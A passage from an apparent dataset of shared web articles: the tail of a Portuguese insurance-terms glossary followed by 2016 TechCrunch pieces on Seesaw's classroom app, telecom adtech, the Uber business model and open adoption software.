proporcional. Proposta - Instrumento que representa a vontade do segurado de transferir o risco para o segurador. A proposta contém um questionário detalhado sobre o risco a ser segurado, e pode ser preenchida pelo próprio segurado, por seu representante legal ou pelo corretor de seguros. Após efetivada a apólice de seguro, a proposta torna-se parte integrante da mesma. Pró-rata - Critério utilizado para cálculo de devolução de prêmio ou cobrança de prêmio adicional. Leva em consideração o tempo a decorrer até o término do seguro ou o tempo decorrido desde o início da vigência até o momento da alteração. Provisões Técnicas - São assim chamadas nas empresas de seguros algumas reservas obrigatórias. Formam parte integrante e indispensável do mecanismo do seguro, sendo constituídas mensalmente e independente da existência de lucro na companhia seguradora. Pulverização de Risco - É o ato de distribuir ou dividir as responsabilidades do risco assumido pelo segurador, através do cosseguro e do resseguro, de forma que, assim disseminado, por maior que seja sua importância não venha a constituir perigo à estabilidade da carteira da seguradora. Não há termos iniciando por esta letra. Ramo - Tipo ou classificação das várias modalidades de seguro - vida, acidentes pessoais, automóveis, transportes, saúde. RC (Seguro de) - Responsabilidade Civil. Seguro que reembolsa prejuízos causados pelo segurado a terceiros. É baseado no princípio geral de direito que impõe a quem causa dano a outros o dever de reparar. Reembolso - Restituição total ou parcial de valores pagos pelo segurado a terceiros, referentes a danos cobertos pelo contrato de seguro. Regulação de Sinistro - É o exame executado pelo perito ou vistoriador, na ocorrência de um sinistro, das causas e circunstâncias para a caracterização do risco e, em face dessas verificações, se concluir sobre a cobertura, bem como se o segurado cumpriu todas as suas obrigações legais e contratuais. Reintegração de Cobertura - É a solicitação de recomposição da importância segurada de uma cobertura, na mesma proporção em que foi reduzida em função de um sinistro indenizado. Resgate - Recebimento, pelo segurado, de parte ou do total de valores, determinados para esse fim no seguro contratado. Responsabilidade Civil - Princípio geral de direito que impõe a quem causa dano a outros o dever de reparar. É a garantia que visa cobrir, até o limite máximo de indenização (LMI), o reembolso da indenização pela qual o segurado vier a ser responsabilizado civilmente, em sentença judicial transitada em julgada ou em acordo judicial autorizado pela seguradora, por danos involuntários, corporais, materiais ou morais que tiver causado a terceiros, conforme a cobertura contratada. Resseguro - Operação utilizada pelas companhias seguradoras para transferir a outras companhias - as resseguradoras - o excesso de responsabilidade que ultrapassa o limite de sua capacidade econômica de indenizar. Retrocessão - Operação utilizada pelas companhias resseguradoras para distribuir pelo mercado segurador interno a responsabilidade que ultrapassar os limites de sua capacidade de indenizar as seguradoras. Risco - Elemento fundamental do contrato de seguro, definido como o acontecimento possível, futuro, incerto e aleatório, que independente da vontade das partes contratantes, e de cuja ocorrência decorram prejuízos de ordem econômica. Roubo - Subtração de bem, objeto ou parte dele mediante grave ameaça ou violência à pessoa responsável por sua guarda. Salvados - Bens com valor econômico que escapam, sobram ou se recuperam após um sinistro, passando a pertencer ao segurador, mediante indenização ao segurado. Segundo Risco - É um seguro complementar, cujas coberturas funcionarão somente no caso de os prejuízos ultrapassarem a importância prevista para o primeiro seguro. Neste caso, o segurado faz um seguro com outra seguradora para complementar a cobertura de primeiro risco absoluto. Este tipo de seguro é recomendado nos casos em que o segurado quer se proteger contra a possibilidade de que o sinistro venha a superar a importância segurada na cobertura de primeiro risco absoluto. Segurado - Pessoa física ou jurídica em nome de quem é emitida a apólice de seguro, ou sobre quem deverá recair o risco, conforme as coberturas indicadas na apólice do seguro. Seguradora - É a pessoa jurídica de direito público ou privado, autorizada pela SUSEP (Superintendência de Seguros Privados) a operar mediante a cobrança de prêmio e que assume o risco e garante a indenização em caso de ocorrência de sinistro amparado pela apólice de seguro. Seguro - Contrato mediante o qual uma pessoa (a seguradora) se obriga, mediante a cobrança de um valor estipulado (prêmio), a indenizar outra pessoa (o segurado) do prejuízo resultante da ocorrência dos riscos futuros, previstos no contrato. Seguro de Acidentes Pessoais - Trata-se da modalidade de seguro que garante o pagamento de uma quantia determinada usada para reembolso dos gastos com médicos, hospitais e, no caso de morte ou incapacidade total ou parcial do segurado devido a um acidente. Estes seguros podem ser contratados de forma individual ou coletiva. Seguro Acidente de Trabalho (SAT) - Contribuição que varia entre 1% e 3% sobre a folha de pagamento da empresa. Esta variação depende do risco de vida que a empresa apresenta aos seus funcionários, em decorrência da atividade exercida. Seguro Desemprego - É um beneficio pago através da Caixa Econômica Federal, com o intuito de assegurar o trabalhador que tenha sido demitido sem justa causa, desde que tenha trabalhado no mínimo seis meses registrado em carteira de trabalho. O valor varia de acordo com a faixa salarial, sendo pago em até cinco parcelas, conforme a situação do beneficiário. Seguro de Fidelidade - Modalidade de seguro que garante o empregador por eventuais prejuízos que venha a sofrer decorrentes de furto, roubo ou apropriação indébita, ou outros delitos contra o patrimônio da empresa, que tenham sido cometidos por seus empregados, ou pessoas com vínculo empregatício. Seguro em Grupo - Termo usado para indicar os seguros de vida e acidentes pessoais feitos de forma coletiva, ou seja, envolvendo mais de um segurado. Os termos destes seguros são determinados pelo estipulante, no caso o empregador destas pessoas, sendo que a apólice favorece várias pessoas. Assim sendo nos seguros de grupo, os contratos se repartem em contratos distintos para quantas forem as pessoas seguradas. Seguro Fiança - Modalidade de seguro que protege o segurado caso este não consiga arcar com uma obrigação específica para com o devedor principal ou o afiançado. Usado com freqüência nos contratos de locação de imóveis. Seguro de Lucros Cessantes - Modalidade de seguro contratada por empresas, como indústrias, comércio e prestadoras de serviço, cujo objetivo é preservar os negócios do segurado de forma a garantir sua capacidade operacional e rentabilidade nos mesmos níveis em que se encontravam antes da ocorrência do sinistro. Seguro de Responsabilidade Civil - Modalidade de seguro que pretende garantir o desembolso de despesas pagas a terceiros por danos materiais ou pessoais, que foram involuntariamente causados. Bastante usado por executivos de grandes empresas, advogados, médicos, etc. Seguros de Riscos Diversos - Trata-se de um tipo de seguro que é constituído por várias modalidades com cobertura multirrisco, sendo que sua principal característica é a de cobrir perdas e danos materiais ou pessoais involuntariamente causados ocorridos durante a vigência do contrato de seguros. Seguro de Saúde - Trata-se dos seguros que garantem o pagamento das despesas com assistência médica e hospitalar que garante o pagamento de todos os procedimentos efetuados em nome do segurado diretamente a quem prestou o serviço. Em outros casos, o re-embolso é feito com base na quantia estipulada na apólice. Seguro Social - Termo usado para determinar os seguros que buscam proteger as pessoas que pertencem a classes de menor poder aquisitivo contra certos riscos específicos, como por exemplo, doença, velhice, invalidez e acidentes de trabalho. Sinistro - Termo utilizado para definir, em qualquer ramo ou carteira de seguro, o acontecimento do evento previsto e coberto na apólice de seguro, causando danos materiais ou pessoais ao segurado ou a seus beneficiários. Sub-rogação - É a transferência de direitos e ações do segurado à seguradora, após pagamento de indenização, para que esta possa agir legalmente contra terceiros que tenham causado os prejuízos por ela indenizados. SUSEP - A Superintendência de Seguros Privados é o órgão regulador da atividade, responsável pelo controle e fiscalização dos mercados de seguro, previdência privada aberta, capitalização e resseguro. Tabela de Referência - Publicação especializada com valor de mercado de veículos, atualizada mensalmente, formulada por instituto de pesquisas independente. Terceiro - Qualquer pessoa física ou jurídica que não seja o próprio segurado, seus sócios ou funcionários, bem como, seus cônjuges, pais e filhos e/ou pessoa que dependa economicamente do segurado, além dos diretores e administradores da empresa segurada, culpada ou prejudicada no sinistro. Títulos de Capitalização - Certificados emitidos pelas sociedades de capitalização em favor dos respectivos tomadores. Os portadores dos títulos pagam à sociedade, durante um certo tempo, uma mensalidade correspondente ao valor dos títulos, formando assim um capital que, acrescido dos juros acumulados, será recuperado pelos portadores em prazos previamente fixados. Os títulos de capitalização comportam também a eventualidade de um reembolso antecipado, por sorteio. Não há termos iniciando por esta letra. VAGP (Vida com Atualização Garantida) - Seguro de vida com opção de previdência. Recomendado para quem não se beneficia do incentivo fiscal oferecido pelos PGBLs e planos tradicionais, que permite a dedução dos valores aplicados nestes produtos do imposto a pagar desde que não supere 12% da renda bruta anual do investidor. Os VAGPs buscam uma aplicação que garante rentabilidade mínima e correção da inflação, mas os ganhos financeiros acima disso são divididos com o gestor do plano. Assim como nos VGBLs os impostos incidem sobre os rendimentos financeiros acumulados. O VAGPs deverão ter taxas de carregamento iguais ou pouco maiores do que as do PGBL. Valor Atual - Indenização do bem segurado, roubado ou destruído, pelo valor de um novo bem, deduzida a depreciação pelo uso, idade e estado de conservação. Valor de Mercado - Atualiza o valor da indenização no dia do pagamento de acordo com o preço de mercado. Valor de Mercado Referenciado - Corresponde ao valor em moeda corrente e variável de acordo com a tabela de referência constante na apólice de seguro, garantida ao segurado em caso de perda total. Valor de Novo - Indenização do bem segurado, roubado ou destruído, pelo valor de um novo bem no mercado. Valor determinado - Trata-se de uma cláusula na apólice em que a seguradora garante ao segurado, quando caracterizada a perda total, o pagamento da quantia fixa, expressa em moeda corrente nacional e estipulada pelas partes no ato da contratação. Valor indenizável - Valor a ser pago na ocorrência de sinistro. VGBL (Vida Gerador de Benefício Livre) - Seguro de vida com opção de previdência, desenvolvido com base nos PGBLs. A grande diferença é que ao contrário dos planos de previdência do tipo PGBL ou tradicionais, não é possível abater o valor das contribuições ao VGBL do imposto de renda a pagar durante a fase de acumulação. Em contrapartida, ao contrário dos PGBLs, o imposto no resgate é calculado apenas sobre os rendimentos e não inclui o valor das contribuições, sendo que o imposto é calculado com base na tabela progressiva de imposto de renda. Os VGBLs devem ter taxas de carregamento iguais ou pouco maiores do que as do PGBL. VGBL Empresarial - Plano de previdência complementar do tipo VGBL que é destinado ao mercado corporativo. O VGBL Empresarial pode ser averbado (quando a empresa não contribui para o plano) ou instituído (quando a empresa contribui parcial, ou integralmente ao plano). Vício Intrínseco - Termo usado na indústria de seguros, que determina a condição natural de certas coisas que as torna mais suscetíveis a se destruir ou avariar, sem que seja necessária a intervenção de qualquer causa externa. Vigência - Prazo de duração da apólice de seguro e, conseqüentemente, sua cobertura do risco. Vistoria Prévia - Avaliação, por pessoa autorizada pela seguradora, do estado do bem antes da formalização do contrato de seguro. Vistoria de Sinistro - Visita ao local onde se encontram os bens sinistrados, a fim de apurar, qualificar e quantificar os danos ou prejuízos sofridos pelo bem segurado, decorrentes de evento previsto e cobertos pelo contrato de seguro. VRGP (Vida com Remuneração Garantida) - Seguro de vida com opção de previdência. Recomendado para quem não se beneficia da possibilidade de deduzir as contribuições do plano do imposto de renda a pagar permitida pelos PGBLs e planos tradicionais. Assim destina-se aos contribuintes que estão isentos do IR, ou declaram através do formulário simples, ou já excederam o limite de dedução previsto nos PGBLs que é de 12% da renda bruta anual do contribuinte. Os VRGPs garantem a correção dos valores aplicados pela inflação, sendo que ganhos superiores a este rendimento garantido são divididos com o gestor do plano. Assim como nos VGBLs os impostos incidem sobre os rendimentos financeiros acumulados. O VAGPs deverão ter taxas de carregamento iguais ou pouco maiores do que as do PGBL. Não há termos iniciando por esta letra. Não há termos iniciando por esta letra. Não há termos iniciando por esta letra.",pt
1466891141,CONTENT SHARED,2938654209557667280,-1032019229384696495,6917925448322846329,,,,HTML,https://techcrunch.com/2016/06/25/seesaw-education/,How Seesaw accidentally became a teacher's pet at 1/4 of US schools,"It began as just another photo sharing startup founded by a Facebook exec. It ended up in 200,000 classrooms from kindergarten to 12th grade in 25,000 schools across 100 countries. All because of one truism: When a student's audience is the world, they want their work to be good. When their audience is only their teacher, they just want it to be good enough. Seesaw's educational app lets students save and share their assignments with their teachers, parents, and fellow classmates. They just snap a photo or video, draw, or write. But rather than just the finished product, students can add audio narration or doodled annotation to show how they got there. This lets teachers identify where students went wrong when they make mistakes. Seesaw sounds simple but solves some major problems. It lets teachers easily collect assignments and track a student's progress over time. When parents want to know what their kid did at school, rather than asking and getting the same moody ""nothing!"", they can just look in Seesaw. Students learn 21st century technology skills while getting faster feedback on work and an audience that encourages them to try harder. Instead of banning personal technology in the classroom, Seesaw lets teachers embrace it. From Social App To School Tool Carl Sjogreen started teaching coding at a summer camp while he was still in middle school. ""I've had two passions my entire life, one is technology and one is education"" the Seesaw founder tells me. But tech took over. After working at Google, Sjogreen founded a travel startup called Nextstop that he sold to Facebook, where he became the director of product management. ""When I left Facebook, my #1 goal was to start an education technology company, but I was really sad because I thought I didn't know how to do it"" Sjogreen remembers. He'd never been a full- time teacher. So he slipped back to what he knew, building let you add voice to photos to create shareable little videos about your vacation, night out, or adventure with the family. This was before Snapchat launched Stories, and the idea sounded novel, allowing Sjogreen to pull in seed funding from a storytelling app in 2013 called Shadow Puppet . It Greylock Discovery Fund and some rich buddies from Facebook. But Shadow Puppet flopped. ""It was pretty clear 9 months in that it wasn't going to be a business.I think we had one of those moments like, 'Well, we better come up with something else.'"" Sjogreen pivoted Shadow Puppet towards the one audience who seemed keen on it: teachers. With just word of mouth between them, Seesaw took off. It was like ""snatching success from the jaws of defeat"", Sjogreen says with a smile. The Modern Show & Tell Thanks to smart design, Seesaw sidesteps trouble that prevents other education apps from working right. First, the basic version is always free for students, teachers, and parents, so there's no risk giving it a shot. It's available for iOS, Android, Kindle, Chromebook, and web. Second, kids don't need to fiddle with typing in an email address and password to sign in. Instead, they just hold the app up to a QR code poster in their classroom and select their name from the roster. Sjogreen explains that typically ""20% of lesson time is spent just getting kids signed in to education apps. That's why teachers are reluctant to adopt tech in the classroom"". Third, everything they submit has to be seen and approved by the teacher before it shows up in Seesaw. Sjogreen chuckles, ""that cuts down on the shenanigans you might imagine."" If teachers want, students can peer review each other's work, but that gets moderated too to thwart bullying. ""Instead of that mean comment going to the kid and hurting them, the teacher goes to the kid that wrote it and says 'How would this make you feel?' It's a learning opportunity"" the founder says. Seesaw also substitutes for managing huge stacks of paper. Beyond tracking each student separately, the new $120 per year Seesaw Plus premium version includes a skills view where teachers can rate students as green, yellow, or red on each lesson. A chart view both identifies students falling behind, but also which topics are giving the whole class trouble and might need a better lesson plan. Seesaw Plus isn't the startup's main business model, though. It's more of an infiltration technique for bottom-up sales to school districts. The Seesaw For Schools paid version gives administrators a dashboard to monitor each classes' workbook and integrate the data into their grading software. Seesaw is following the Dropbox playbook. Instead of top-down cold calling superintendandants, Seesaw aims to get a bunch of teachers in a district raving about it. That way administrators know if they pay to equip all their teachers with Seesaw, they'll actually use it. There are other education software competitors in the market, though most focus on simply tracking grades or contacting parents with basic announcements. Remind, Canvas, Instructure, Pearson, and Blackboard make a few. Seesaw differentiates with its focus on what students create. Yet Seesaw's challenge will be making the experience so simple that it becomes part of the natural teaching process, not an extra chore. If it distracts students or bogs down teachers, they'll revert to the status quo. School districts are notoriously stingy too, so Seesaw will need to prove it boosts academic performance. Luckily some places like California now tie funding to parent involvement, which Seesaw can boost. Perhaps the biggest opportunity for Seesaw is assisting shy kids that fear raising their hands and asking for help. Seesaw could reveal who needs extra attention without embarrassing children in front of the class. Instead of bringing their teacher an apple, tomorrow's students could bring them Seesaw's app .",en
1466955123,CONTENT SHARED,7823781477664935857,-1032019229384696495,-2318276786697086259,,,,HTML,https://techcrunch.com/2016/06/25/telecoms-open-shop-on-madison-avenue-but-will-brands-buy/,"Telecoms open shop on Madison Avenue, but will brands buy?","Many companies have transformed and realigned their focus with great success. Avon transitioned from peddling books door-to-door to marketing beauty products. Wrigley started as a soap and baking soda company. IBM originally sold massive mainframe computers and calculators. Now, telecom companies are making similar pivots into a lucrative industry. The battle du jour is about customer data and powering the $100 billion global mobile advertising business. Wireless carriers are in a great position to provide mobile ad services because of their intimate connections to hundreds of millions of customers. They might be able to finally fulfill digital advertising's promise of delivering the right ad to the right person at the right time. Wireless carriers have troves of personalized data, powerful distribution platforms and many of them produce their own content. Also, telecom is one of the largest ad spend verticals. The industry understands the challenges that big brands face on mobile because it shares many of them. The next powerhouse digital ad platforms may come from telecoms. The race to vertically integrate will challenge industry players like Apple, Google, Facebook, Microsoft and niche players. However, deep pockets do not guarantee success. Large and bureaucratic companies may find it especially challenging to innovate, pivot their focus and develop new competencies. In fact, history is littered with failed transformations: Saatchi & Saatchi with management consulting, Cosmopolitan with yogurt and Allegis with its foray into travel. Through recent acquisitions, aggressive product development and wider industry partnerships, telecom companies are building sophisticated adtech products. Will brands respond favorably to the new big box shops on Madison Avenue - or shut them out? Why adtech? Competition in wireless is fierce. The U.S. oligopoly is dominated by Verizon and AT&T, with 33 percent and 34 percent market share, respectively. Sprint and T-Mobile each have approximately 16 percent, according to Statista . Market saturation is inevitable with more than 207 million Americans already using a smartphone. Growth rates in the U.S. are expected to be in the low single digits for the rest of the decade, Statista reports . As the industry has matured, innovation has withered. Wireless carriers have launched, but have yet to realize runaway success in connected home products, smart watches or virtual reality devices. While some players like AT&T look for success in the content distribution space (e.g. through its streaming content service U-Verse and by purchasing DirectTV), others are making a play for an even loftier prize - monetizing the customer data profile. Traditional adtech companies are presumptively in the best position to satisfy brand demands for better mobile ads. Google, Yahoo and Microsoft have all been in the adtech space since the inception of online advertising. However, according to a recent Accenture study, more than 73 percent of respondents said that digital ads do not match their personal interests or preferences. This finding highlights a big opportunity for wireless carriers because the data they possess is hyperpersonal, available in real time and geo-tagged. The mobile phone has become life's remote control. The mobile phone has become life's remote control. From mobile banking, appointment scheduling and bill paying to meal ordering, video watching, online shopping and photo sharing, no single device in a person's life knows as much about us as the smartphone. But carriers have traditionally been more of a utility and not an application innovator - they did not have inherent competencies to monetize content. If a wireless carrier can capture just a fraction of the U.S. mobile ad market, it could outperform the competition. The opportunity is massive and brands are taking notice. Investments Many global wireless players have already invested in mobile adtech. SingTel from Singapore, Telstra from Australia and Telefonica from Europe have been building adtech capabilities for some time. Global brands have been responding favorably. Brands can utilize SingTel's mobile ad solutions to connect with their global audience. ""The digital advertising business is about scale,"" said Mark Strecker, chief executive officer of Amobee , a SingTel company, in a WSJ interview. Through acquisitions, the company is enlarging and expanding its mobile advertising footprint. However, there is potential for conflict of interest in the industry. Competing brands may need to transfer customer information and other data to telecom platforms in order to run campaigns. As a result, telecom ad platforms would control the distribution and messaging for another brand. American telecom companies have now entered the fray. Verizon recently started building its own mobile adtech stack with AOL as the centerpiece. AOL and mobile ad network Millennial Media provide Verizon with a robust mobile video ad solution. This is synergistic, as Verizon makes a large proportion of its revenue from data plans, and video is the largest source of data usage. According to a Juniper study , mobile video currently accounts for about 60 percent of IP traffic in the U.S., with this figure expected to catapult over 70 percent in the next few years. Verizon will benefit from an increase in mobile video consumption regardless, but it will also benefit from the ads it runs and sells alongside video content. There is a clear business case for Verizon to monetize mobile video. Verizon also has top-quality user data that brands can leverage for enhanced mobile engagement. But will brands be open to running ads on a network that is controlled by another brand? Specifically, telecom and related industries might be wary because, unlike other media, on mobile, vast amounts of customer data is transferred between platforms. As a result, some advertisers might proceed with increased caution to ensure that their customer messaging and anonymized data is fully controlled. Verizon has already started walling off its garden in a bet to go head-to-head with Google and Facebook. According to a Digiday source, ""Verizon has been notifying partners that they are cutting off agreements for their precision insights product."" By restricting third parties from its data trove, and instead using the data to power AOL's ad platform, Verizon will funnel more dollars into its coffers. Will brands be open to running ads on a network that is controlled by another brand? Despite the promising outlook, telecom companies could still face an uphill challenge. For example, Verizon was recently reprimanded for using ""supercookies"" without customer consent. Supercookies can be used to track and store personal data even if a consumer has deleted their traditional, browser-based cookies. Many e-commerce publishers use supercookie data packages and uniquely tailor messaging, onsite ads and content to wireless carrier customers. This recent occurrence brings to light some privacy challenges that telecom companies will face and issues that brands must consider when working with them. Sprint also has made an important play in mobile with its acquisition of mobile ad platform Pinsight Media . The company focuses on processing and uncovering consumers' insights and behaviors in order to provide enhanced branded experiences. Sprint is now able to monetize hundreds of apps while layering on data about Sprint subscribers to propel performance. The company combines demographic data with social and mobile interests and behavioral insights. Product development More proof that wireless carriers are advancing in mobile adtech can be seen in their launch of various content services. Wireless carriers are vertically integrating to control not only data and ad platforms, but content and content distribution, as well. These content services provide an entry point for wireless carriers to enhance their clout in the mobile ecosystem. Verizon launched ""go90,"" an ad-supported app geared toward millennials. T-Mobile launched ""T-Mobile TV,"" a subscription service content portal. Sprint launched ""SprintTV,"" a free premium content service focused on mainstream entertainment properties. These services highlight new ways that wireless carriers are attempting to create new content offerings to then monetize. Other examples of wireless carriers expanding into mobile advertising include the emergence of online/offline programmatic video buying . AT&T, together with its DirectTV unit, partnered with Videology to offer cross-screen programmatic video ad solutions. AT&T's goal is to take some of the precision from online advertising and inject it into the traditional television market. It remains to be seen if cross-platform programmatic commercial buying will make the leap to the mainstream. Some agencies have just started to purchase certain types of television inventory programmatically, but if agencies can achieve scale with online and offline bundled solutions, this approach may prove to be more appealing than siloed ad buying platforms. Industry partnerships In addition to investments and services development, wireless carriers are forming major global partnerships with each other in order to own a piece of the mobile ad ecosystem. Sprint and Telefonica started a joint venture to provide advanced ad solutions for global brands. The partnership is unique in that it spans across Europe, the U.S. and Brazil. The venture can be leveraged by brands for large-scale global access to customers. Many global telecom partnerships are fluid and subject to change. This is especially true given industry consolidation, and the complexity of global data usage and associated privacy laws. Many big brands have shied away from partnering with companies that have the potential to generate controversy regarding data privacy. Brands see mobile adtech as the key to closing the loop on mobile data and targeting. Other mobile-centric industry partnerships focus on content acquisition and ad distribution. Verizon has been acquiring new, high-quality video inventory to bolster its ""go90"" app. Through its partnership with Hearst, Verizon has added content from AwesomenessTV, Rated.com, SeriouslyTV and recently acquired Complex Media. Despite a recent deal with Publicis Groupe to run $50 million of go90 inventory, it is unclear if brands will consider this new digital-first content as premium. It also remains to be seen if go90 will attract enough users to make the app viable in the long term. Verizon is also expanding its mobile footprint through its global partnerships with Microsoft. The telecom titan will monetize much of the tech giant's display and mobile inventory across top destination sites, including the MSN Homepage, Outlook Mail and Skype. Outcomes Given dwindling opportunities for further industry consolidation in mature markets, many telecom companies in these markets are looking for new revenue streams to bolster growth. Brands see mobile adtech as the key to closing the loop on mobile data and targeting, and Google and Apple already benefit from cross-device capabilities. Wireless carriers may have an even greater capacity to provide value because of their intimate relationship with customers. For brands and agencies, more competition in the space may mean better pricing and more advanced targeting, but perhaps less brand control. How comfortable will brands like Comcast, Disney and Dish be, running their brand campaigns on a wireless carrier's ad network? This remains to be seen. Brands and advertisers are cautiously optimistic. Adtech heavyweights, have, for some time, promised an environment in which the right person is targeted with the right ad at the right time. So far, the industry has not achieved its goal - but there is a big opportunity for wireless carriers to improve the state of mobile advertising. If they do, this could be a win-win-win. Consumers win because they get ads that are better suited to their interests and are hopefully less intrusive. Brands win because they can connect with customers in a more individualized and organic way. Finally, wireless carriers win because the revenue potential is massive, and they can drive further rapid innovation and potentially provide better inventory at varied pricing. Telecommunication companies may be opening up shop on Madison Avenue, but it remains to be seen if their presence will improve the industry and propel brands on mobile. Featured Image: Thiago Leite / Shutterstock",en
1466955623,CONTENT SHARED,2541499697677936774,-1032019229384696495,-2318276786697086259,,,,HTML,https://techcrunch.com/2016/06/19/in-defense-of-the-uber-ization-of-everything/,In defense of the Uber-ization of everything,"I recently posted on Facebook a short rant about digital transformation for established enterprises. The skinny is that there are endless amounts of why and barely no opining on the what or how when it comes to executing any kind of digital transformation of your business or industry. Here's a link to the Facebook post if you want some context. Not surprisingly, Uber got caught in the crossfire and became the subject of the comments. Folks declared how Uber is an overused example of a digitally disruptive business. I disagree with the assertion that Uber is overstated. Vehemently so. Look, I get it. It's popular to rage against Uber. And "" The Uber model, it turns out, doesn't translate "" is even a legitimate and extremely rational argument. The New York Times' Farhad Manjoo and Homebrew VC Partner, Hunter Walk, sum it up well: ""Investors saw Uber's success as a template for Ubers for everything . The industry went through a period where we said, let's look at any big service industry, stick 'on-demand' on it, and we've got an Uber."" The fundamental flaw in citing Uber that has led to, well, Uber-esqe fatigue, has been the notion that Uber's model can be simply forklifted into another domain or industry. Instead, what businesses need help with in fact is the polar opposite: not the forklifting but the unpacking of Uber to identify the two or three most applicable elements from its operating machinery and growth execution that can spark transformative opportunities in your industry. Essential learning I lead a business that helps our customers transform how they connect with employees, partners and customers. Our learnings from building a subscriber base of more than 30 million subscribers are very consistent: Beyond euphoric chitchat about popular buzzwords, it is the elements of successful execution witnessed by the Ubers of the world that every board and C-Suite member must ask, if they are to understand what it takes to play and win in the digital economy. Here goes. Predicting and fulfilling demand in real time: My Uber driver used to leave her holding spot outside the San Francisco Airport when the ride was confirmed, making it a 7-9 minute drive to the curb. The other day it took her just 4-5 minutes. Uber is figuring out how to predict demand, presumably based on flight schedules, and can dispatch the driver before a passenger even requests a ride. We need to get past the euphoric discourse if we truly want to digitally transform. Essential learning: What is the required adaptability in your business applications and the predictive nature of your data management systems to give you similar levels of agility? And, even if it's all that, does your work culture encourage your employees to learn and adapt in near real time to improve the customer's experience? Simplicity as the key revenue driver: Uber generates $1.5 billion in revenue from a total of roughly three taps that you and I make on our mobile devices. $1.5 billion! Essential learning: How can you also learn to shield your customer from extremely complex backend technology with the simplest, utilitarian user experience that takes your customer from consideration to purchase to advocacy at a ridiculously fast pace? Business Insider Shareholder and fiduciary appetite: Uber says that it is now profitable in developed markets, but back in January of 2016, reported that ""Uber lost close to $1 billion in the first half of 2015, up from $671.4 million the year before, according to The Information's report . Even with increasing losses, its (net) revenue was on pace to triple to more than $1.5 billion."" The cost of reformatting an incumbent industry can mean a very ugly balance sheet for a long time. Essential learnings: Would Wall Street swallow the growth vitamin or spew the loss venom if you had similar financials? Can your current leadership learn to adapt to such an aggressive growth trajectory and absorb the investor heartburn that comes with it? Exploiting massive cost arbitrage: Uber is one of the many marketplaces that has emerged to remove complexity and lower cost from an incumbent industry . And whilst the final cost of a ride may not end up being exactly where today's rock bottom prices lie, the approach offers a clear example of how you can unhinge heavy cost structures in an established industry by eliminating layers of operating cost and bureaucratic fat built up over decades. The fundamental flaw ... has been the notion that Uber's model can be simply forklifted into another domain or industry. Essential learning: You're used to going in the opposite direction - raising prices. And, likely adding complexity. The essential question becomes this: What would a brutally honest, stripped-down cost structure and operating version of your industry look like? And, can you learn how to exploit such structures to spark the creation of a new, digital version of your markets?",en
1466955705,CONTENT SHARED,-5625593730080264433,-1032019229384696495,-2318276786697086259,,,,HTML,https://techcrunch.com/2016/06/19/the-next-wave-in-software-is-open-adoption-software/,The next wave in software is open adoption software,"There's a big shift happening in how enterprises buy and deploy software. In the last few years, open technology - software that is open to change and free to adopt - has gone from the exception to the rule for most enterprises. We've seen the IT stack redrawn atop powerful open-source projects, with developers opting for an ""open-first"" approach to building solutions. More than 78 percent of enterprises run on open source and fewer than 3 percent indicate they don't rely on open software in any way, according to a recent market survey by Black Duck Software. Openness is a near truism in the Valley, but today projects like Hadoop, Cassandra, Docker and Mule are infiltrating even the most conservative and dogmatic organizations. As such, startups like Cloudera , DataStax and MuleSoft are generating hundreds of millions of dollars in revenue each year from real enterprise customers by selling proprietary, value-added products around their open projects. This is a new wave in software - one that's not only displacing incumbent markets, but creating entirely new ones. We call these Open Adoption Software (OAS) companies, and we believe they're primed to build meaningful businesses - and drive large economic outcomes. We're witnessing a big shift in how software is consumed. OAS companies are constructed differently. They go through three phases of company building: Project, Product and Profit . Companies built atop this ""3Ps"" model need to look largely the same and be held to similar financial standards as traditional enterprise software businesses by the time they make it into the ""Profit"" phase. We discussed this a few weeks back in a panel conversation with startups and financial analysts - a timely conversation, as some of these companies reach the scale to potentially IPO. This feels an awful lot like 2003, just before the first SaaS companies started going public. OAS is a customer-driven phenomenon Open software has already rooted itself deep within today's Fortune 500, with many contributing back to the projects they adopt. We're not just talking stalwarts like Google and Facebook; big companies like Walmart, GE, Merck, Goldman Sachs - even the federal government - are fleeing the safety of established tech vendors for the promises of greater control and capability with open software. These are real customers with real budgets demanding a new model of software. And the drumbeat is only getting louder. Each year we host 15 Fortune 500 CIOs as part of Accel's Tech Council , and we continue to hear criticism about proprietary software (""expensive, slow to change""). Here are a few trends we identified that are driving customers toward this new model: The Need for Speed and Control: The demand for innovation and rapid delivery means enterprises need agility from the software they adopt. Nothing is worse than waiting for a vendor to update a library when you're trying to stick to your release schedule. Open platforms allow companies to move faster and integrate at a deeper level without fear of lock-in by removing the dependency on proprietary vendors. Enterprises are no longer beholden to a vendor's product roadmap - they can innovate to their own requirements at any time. Everything is Web Scale: Enterprises are delivering solutions to a global, ever-connected base of users. Consider banks that support tens of millions of end users logging into their banking apps and hundreds of thousands of employees worldwide. Traditional, proprietary vendors are unable to deal with this onslaught of data and user scale. Fortunate for them, many early web 2.0 leaders (Google, Facebook, Linkedin, Yahoo) dealt with these problems and more, contributing much of their learnings to the open community. Developer Power and Network Effects: CIOs are empowering frontline developers to download and adopt the projects they need to drive innovation. Developers are looking to community-led technologies where they adopt, deploy and meaningfully participate . OAS extends beyond Moore's Law by also benefitting from something akin to Metcalfe's Law: its energy and rate of innovation grows exponentially with the developer networks around it. Open software can absorb learnings and requirements far faster than a proprietary vendor, while simultaneously hardening security and stability. Open software is in many respects, much safer. Hadoop and Docker are constantly stretched, pushed, molded and smoothed by their developer communities - they're far more mature than their age would suggest. All of this is to say: We're witnessing a big shift in how software is consumed. OAS is openly adopted and openly developed, and is quickly becoming a dominant model for how enterprises build and deliver IT. While most OAS companies have at least some amount of freely available or open-source components, open source and OAS should not be conflated. Open source describes a software development methodology, whereas OAS pertains more to a go-to-market and company-building philosophy. OAS is not about cheaper alternatives to proprietary on-premise software. It about creating new markets more so than displacing incumbents. It's innovative, it's developer-driven and it's the next wave of software adoption. The next wave of software With each successive wave of technology - from mainframe to client-server to 'X'aaS (IaaS, SaaS, etc.) to OAS - software has gotten progressively easier to adopt. Therefore, adoption has happened faster and has reached a broader audience than the wave before it. Each wave is driven by the democratization of some facet of technology. In the shift from mainframe to client-server, computers became accessible. In the shift to 'X'aaS, hosting and WAN connectivity became accessible. Now, with the shift to OAS, developer community innovation has become accessible. OAS not only represents a new way to provide innovative functionality, but is a delivery model innovation for developers. Through it all, the customer desire for bigger, faster and cheaper offerings remains constant. The technological innovations that each wave brings facilitate change in how software is packaged and delivered so that customers can gain some form of efficiency or cost savings. Being openly adopted is not a panacea. With all of these shifts, industry pundits predicted that the new wave will commoditize existing categories. While some layers of the stack do get cheaper, consumption on the layer above consequently expands dramatically as more applications are developed and new use cases emerge. This new usage outpaces any commoditization. 